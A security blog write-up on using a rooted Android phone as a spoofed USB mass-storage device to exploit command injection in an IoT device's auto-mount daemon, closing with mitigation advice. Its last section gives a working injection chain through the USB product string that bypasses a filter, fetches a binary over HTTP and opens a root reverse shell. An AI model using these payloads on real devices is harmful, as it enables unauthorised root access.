Command Injection With USB Peripherals
When this Project Zero report came out I started thinking more about USB as an interesting attack surface for IoT devices. Many of these devices allow users to plug in a USB and then perform some actions with that USB automatically, and that automatic functionality may be too trusting of the USB device. That post got filed away in my mind and mostly forgotten for a while until an IoT device with a USB port showed up at my door sporting a USB port. Sadly, I hadn’t yet gotten the mentioned Raspberry Pi Zero and shipping would probably take longer than my attention span would allow, but a coworker mentioned that Android has ConfigFS support so I decided to investigate that route instead, but let’s back up a bit and set the scene.
I had discovered that the IoT device in question would automatically mount any USB mass storage device that was connected to it, and, if certain properties on the device were set, would use those properties — unsanitized — to create the mount directory name. Furthermore, this mounting would happen via a call to C’s infamous system
function: a malicious USB device could potentially set these parameters in such a way as to get arbitrary command execution. Since the responsible daemon was running as root, this meant that I might be able to plug a USB in, wait a couple seconds, and then have command execution as root on the device. This naturally triggered my memories of all of those spy movies where the protagonist plugs something into a door’s highly sophisticated lock, which makes a bunch of numbers flash on the LED screen, magically opens the door, and makes them succinctly claim: “I’m in” in a cool tone. I wanted to do that.
I was fairly certain my attack would work, but I wasn’t very familiar with turning my Android device into a custom USB peripheral and searches were mostly lacking a solution. This post is intended to supplement those lacking internet searches. If you want to follow along at home, I’m using a rooted Nexus 5X device running the last Android version it supports: 8.1. I’m not sure how different things are in Android 9 land.
Android as a Mass Storage Device
For my purposes, I need my Android device to show up as a USB mass storage device with the following properties controlled by me: the product name string, the product model string, and the disk label. You can customize much more than that, but I don’t care about the rest. We’ll start with what didn’t seem to work for me: I had a passing familiarity with ConfigFS and saw a /config/usb_gadget
, so I figured I’d just use that to make a quick mass storage USB device using the ConfigFS method that I knew about. I wrote up a quick script to create all of the entries, but upon testing it I ran in to this:
mkdir: '/config/usb_gadget/g1/functions/mass_storage.0': Function not implemented
I’m still not sure why that route didn’t work, but apparently this method just isn’t supported. I was stumped for a bit and started digging into the Android and Linux kernel source code before taking a step back. I didn’t want to fall into the rabbit hole that was reading obscure kernel code: I just wanted to /bin/touch /tmp/haxxed
on this device and declare myself 1337. So I left kernel land for Android init
land to see what the Android devs do to change USB functionality.
Taking a look at some Android init
files here, you’ll notice that there are two different .rc
files for USB: init.usb.configfs.rc and init.usb.rc. Keen observers (see: people who actually clicked those links) will see that each one has a check for the property sys.usb.configfs
: if it is 1
the entries in the init.usb.configfs.rc
file are used, otherwise the init.usb.rc
entries are used. For me, sys.usb.configfs
was 0
and I confirmed that things were being modified over in the /sys/class/android_usb
directory, so I shifted my focus there. I haven’t gone back to investigate what would happen with sys.usb.configfs
set to 1
, so I’m not going to claim this is the only way to do this, but it is the way that worked for me.
Exploring Unknown Lands
Now that I’ve shifted my focus to the /sys/class/android_usb/android0
directory, let’s explore that. I see the following:
bullhead:/sys/class/android_usb/android0 # ls
bDeviceClass f_acm f_ffs f_rmnet iManufacturer power
bDeviceProtocol f_audio f_gps f_rmnet_smd iProduct remote_wakeup
bDeviceSubClass f_audio_source f_mass_storage f_rndis iSerial state
bcdDevice f_ccid f_midi f_rndis_qc idProduct subsystem
down_pm_qos_sample_sec f_charging f_mtp f_serial idVendor uevent
down_pm_qos_threshold f_diag f_ncm f_uasp idle_pc_rpm_no_int_secs up_pm_qos_sample_sec
enable f_ecm f_ptp f_usb_mbim pm_qos up_pm_qos_threshold
f_accessory f_ecm_qc f_qdss functions pm_qos_state
idVendor
, idProduct
, and iProduct
, iManufacturer
, and f_mass_storage
look slightly familiar. If you are familiar with ConfigFS, the contents of f_mass_storage
also looks similar to the contents of the mass_storage
function:
bullhead:/sys/class/android_usb/android0 # ls f_mass_storage
device inquiry_string lun luns power subsystem uevent
bullhead:/sys/class/android_usb/android0 # ls f_mass_storage/lun
file nofua power ro uevent
It is at this point that, if I were a less honest person, I’d tell you I know what is going on here. I don’t. My goal is just to hack the thing by making a malicious USB device, not learn the inner workings of the Linux kernel and how Android sets itself up as a USB peripheral. I intend to go deeper into this later, and will perhaps write a more comprehensive blog post at that point. There are plenty of hints around the source code and on the device itself that help figure out how to use this directory.
One thing I see happening in init.usb.rc
all the time is this line:
write /sys/class/android_usb/android0/enable 0
....
write /sys/class/android_usb/android0/functions ${sys.usb.config}
write /sys/class/android_usb/android0/enable 1
So what is function set to when I just have a developer device plugged in and am using ADB?
bullhead:/sys/class/android_usb/android0 # cat functions
ffs
I happen to know that ADB on the device is implemented using FunctionFS, and ffs
looks like shorthand for FunctionFS to me, so it makes sense that that would be enabled. I’m probably going to have to change that value, so let’s go ahead and set it to mass_storage
and see what happens.
bullhead:/sys/class/android_usb/android0 # echo 0 > enable
And my ADB session dies. Right, you can’t just kill USB and expect to use a USB connection. Well, at least I know it works! Luckily ADB is nice enough to also work over TCP/IP, so I can restart and:
adb tcpip 5555
adb connect 192.168.1.18:5555
For the record, I wouldn’t go doing that on your local coffee shop WiFi. OK, now that we’re connected — using the magic of photons — we can bring down USB and change to mass storage and see what happens.
bullhead:/sys/class/android_usb/android0 # echo 0 > enable
bullhead:/sys/class/android_usb/android0 # echo mass_storage > functions
bullhead:/sys/class/android_usb/android0 # echo 1 > enable
Cool, no errors or crashes or anything. If you’re familiar with ConfigFS you’ll probably also know that I can modify f_mass_storage/lun/file
to give some backing storage for the mass storage device. If you’re not familiar with ConfigFS, you know that now: nice! If you already know how to make an image to back your USB mass storage device, you’re smarter than I was about a week ago and can probably skip the next section.
Making Images
One thing to keep in mind when making the image is that I need to be able to control the disk LABEL value (as seen by blkid
). We’ll make a file and just use that instead of doing anything fancy. Note that I didn’t actually care about writing things to the USB’s disk: I just wanted it to be recognized by the target device as a mass storage device so that it would be mounted. To make our backing image file then, we’ll start off with a whole lot of nothing:
dd if=/dev/zero of=backing.img count=50 bs=1M
This will create a 50MB file named backing.img
that is all 0s. That is pretty useless; we’re going to need to format it with fdisk
. A more adept Linux hacker would probably know how to script this, but I, being an intellectual, did it this way:
echo -e -n 'o\nn\n\n\n\n\nt\nc\nw\n' | fdisk backing.img
That magic is filling out the fdisk
entries for you. It looks like this:
Welcome to fdisk (util-linux 2.31.1).
Changes will remain in memory only, until you decide to write them.
Be careful before using the write command.
Device does not contain a recognized partition table.
Created a new DOS disklabel with disk identifier 0xd643eccd.
Command (m for help): Created a new DOS disklabel with disk identifier 0x50270950.
Command (m for help): Partition type
p primary (0 primary, 0 extended, 4 free)
e extended (container for logical partitions)
Select (default p):
Using default response p.
Partition number (1-4, default 1): First sector (2048-20479, default 2048): Last sector, +sectors or +size{K,M,G,T,P} (2048-20479, default 20479):
Created a new partition 1 of type 'Linux' and of size 9 MiB.
Command (m for help): Selected partition 1
Hex code (type L to list all codes): Changed type of partition 'Linux' to 'W95 FAT32 (LBA)'.
Command (m for help): The partition table has been altered.
Syncing disks.
We’re making an image with a DOS
partition table and a single FAT32
partition with everything else being the default. Cool. We need to do some formatting and labelling now:
# losetup --offset 1048576 -f backing.img /dev/loop0
# mkdosfs -n "HAX" /dev/loop0
# losetup -d /dev/loop0
The magic 1048576
is 2048 * 512
, which is the first sector times the sector size. Here we just attach our image as the /dev/loop0
device and run a simple mkdosfs
: the -n "HAX"
is important in my case as that gives me control over the LABEL. That’s all you need to do. Easy.
Bringing it all Together
Armed with our image we can now make the full USB device:
$ adb tcpip 5555
$ adb connect 192.168.1.18:5555
$ adb push backing.img /dev/local/tmp/
$ adb shell
And in the adb shell
:
$ su
# echo 0 > /sys/class/android_usb/android0/enable
# echo '/data/local/tmp/backing.img' > /sys/class/android_usb/android0/f_mass_storage/lun/file
# echo 'mass_storage' > /sys/class/android_usb/android0/functions
# echo 1 > /sys/class/android_usb/android0/enable
If all goes well:
# lsusb -v -d 18d1:
Bus 003 Device 036: ID 18d1:4ee7 Google Inc.
Device Descriptor:
bLength 18
bDescriptorType 1
bcdUSB 2.00
bDeviceClass 0 (Defined at Interface level)
bDeviceSubClass 0
bDeviceProtocol 0
bMaxPacketSize0 64
idVendor 0x18d1 Google Inc.
idProduct 0x4ee7
bcdDevice 3.10
iManufacturer 1 LGE
iProduct 2 Nexus 5X
iSerial 3 0000000000000000
bNumConfigurations 1
Configuration Descriptor:
bLength 9
bDescriptorType 2
wTotalLength 32
bNumInterfaces 1
bConfigurationValue 1
iConfiguration 0
bmAttributes 0x80
(Bus Powered)
MaxPower 500mA
Interface Descriptor:
bLength 9
bDescriptorType 4
bInterfaceNumber 0
bAlternateSetting 0
bNumEndpoints 2
bInterfaceClass 8 Mass Storage
bInterfaceSubClass 6 SCSI
bInterfaceProtocol 80 Bulk-Only
iInterface 5 Mass Storage
Endpoint Descriptor:
bLength 7
bDescriptorType 5
bEndpointAddress 0x81 EP 1 IN
bmAttributes 2
Transfer Type Bulk
Synch Type None
Usage Type Data
wMaxPacketSize 0x0200 1x 512 bytes
bInterval 0
Endpoint Descriptor:
bLength 7
bDescriptorType 5
bEndpointAddress 0x01 EP 1 OUT
bmAttributes 2
Transfer Type Bulk
Synch Type None
Usage Type Data
wMaxPacketSize 0x0200 1x 512 bytes
bInterval 1
Device Qualifier (for other device speed):
bLength 10
bDescriptorType 6
bcdUSB 2.00
bDeviceClass 0 (Defined at Interface level)
bDeviceSubClass 0
bDeviceProtocol 0
bMaxPacketSize0 64
bNumConfigurations 1
Device Status: 0x0000
(Bus Powered)
You can see the device here:
$ ls -lh /dev/disk/by-id
lrwxrwxrwx 1 root root 9 Aug 2 14:35 usb-Linux_File-CD_Gadget_0000000000000000-0:0 -> ../../sdb
lrwxrwxrwx 1 root root 10 Aug 2 14:35 usb-Linux_File-CD_Gadget_0000000000000000-0:0-part1 -> ../../sdb1
And you should be able to mount:
$ mkdir HAX && sudo mount /dev/sdb1 HAX
I felt like Neo when that worked. Right now this is just a glorified thumb drive though. The real fun comes with the fact that we can change parameters:
# echo 0 > /sys/class/android_usb/android0/enable
# echo 1337 > /sys/class/android_usb/android0/idProduct
# echo 'ivision' > /sys/class/android_usb/android0/iManufacturer
# echo '1337 Hacking Team' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable
$ lsusb -v -d 18d1:
Bus 003 Device 044: ID 18d1:1337 Google Inc.
Device Descriptor:
....
idProduct 0x1337
....
iManufacturer 1 ivision
iProduct 2 1337 Hacking USB
....
Wow does that make it easy to make a malicious USB device.
Hacking the Thing
To bring everything full circle, I’ll go through the actual exploit that inspired this. The code I was exploiting looked somewhat similar to this:
snprintf(dir, DIR_SIZE, "/mnt/storage/%s%s%s", LABEL, iManufacturer, iProduct);
snprintf(cmd, CMD_SIZE, "mount %s %s", /dev/DEVICE, dir);
system(cmd);
My proof of concept exploit was the following:
- Drop a shell script at the vulnerable daemon’s
cwd
that will spawn a reverse shell - Execute that file with
sh
One tricky bit is that they were removing whitespace and /
from those variables, but luckily system
was passing to a shell that understands $IFS
and sub-shells. Once I had the Android device setup, exploiting this issue was straightforward, commands would be built as follows:
echo 0 > enable
echo ';{cmd};' > iProduct
echo 1 > enable
With the entire command chain looking like this (I removed some sleep commands that were necessary):
# echo 0 > /sys/class/android_usb/android0/enable
# echo ';echo${IFS}b=`printf$IFS'"'"'\\x2f'"'"'`>>a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable
# echo 0 > /sys/class/android_usb/android0/enable
# echo ';echo${IFS}s=\"$IFS\">>a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable
# echo 0 > /sys/class/android_usb/android0/enable
# echo ';echo${IFS}u=http:\$b\${b}192.168.1.152:8000\${b}shell>>a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable
# echo 0 > /sys/class/android_usb/android0/enable
# echo ';echo${IFS}curl\$s-s\$s-o\${s}shell\$s\$u>>a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable
# echo 0 > /sys/class/android_usb/android0/enable
# echo ';echo${IFS}chmod\$s+x\${s}shell>>a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable
# echo 0 > /sys/class/android_usb/android0/enable
# echo ';echo${IFS}\${b}shell>>a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable
# echo 0 > /sys/class/android_usb/android0/enable
# echo ';sh${IFS}a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable
All of those commands together create the following file (/a
):
b=/
s=" "
u=http:$b${b}192.168.1.152:8000${b}shell
curl$s-s$s-o${s}shell$s$u
chmod$s+x${s}shell
${b}shell
The last command executes the file with sh a
. This script pulls a binary I wrote to get a reverse shell. You could send your favorite reverse shell payload, but this way is always simple and makes verification quick. Upon the last command being executed, we’re greeted with the familiar:
$ nc -l -p 3567
id
uid=0(root) gid=0(root) groups=0(root)
Nice.
Takeaways
While it is probably easier to get yourself a Raspberry Pi Zero, it is pretty handy that this can be done so easily through a rooted Android device. As for security takeaways: it is important to remember that ANY external input, even from physical devices, is not trustworthy. Also blacklists can sometimes leave holes that are easy to bypass. There were many ways to avoid this issue, but the most important part of any mitigation would be to not trust properties pulled off of an external device. If you need a unique name, generate a UUID. If you need a unique name that is constant for a given device, verify the required parameters exist and then hash them using SHA256 or your favorite hashing algorithm. The system
C function should also be used sparingly: it is fairly straightforward to mount drives using just C code.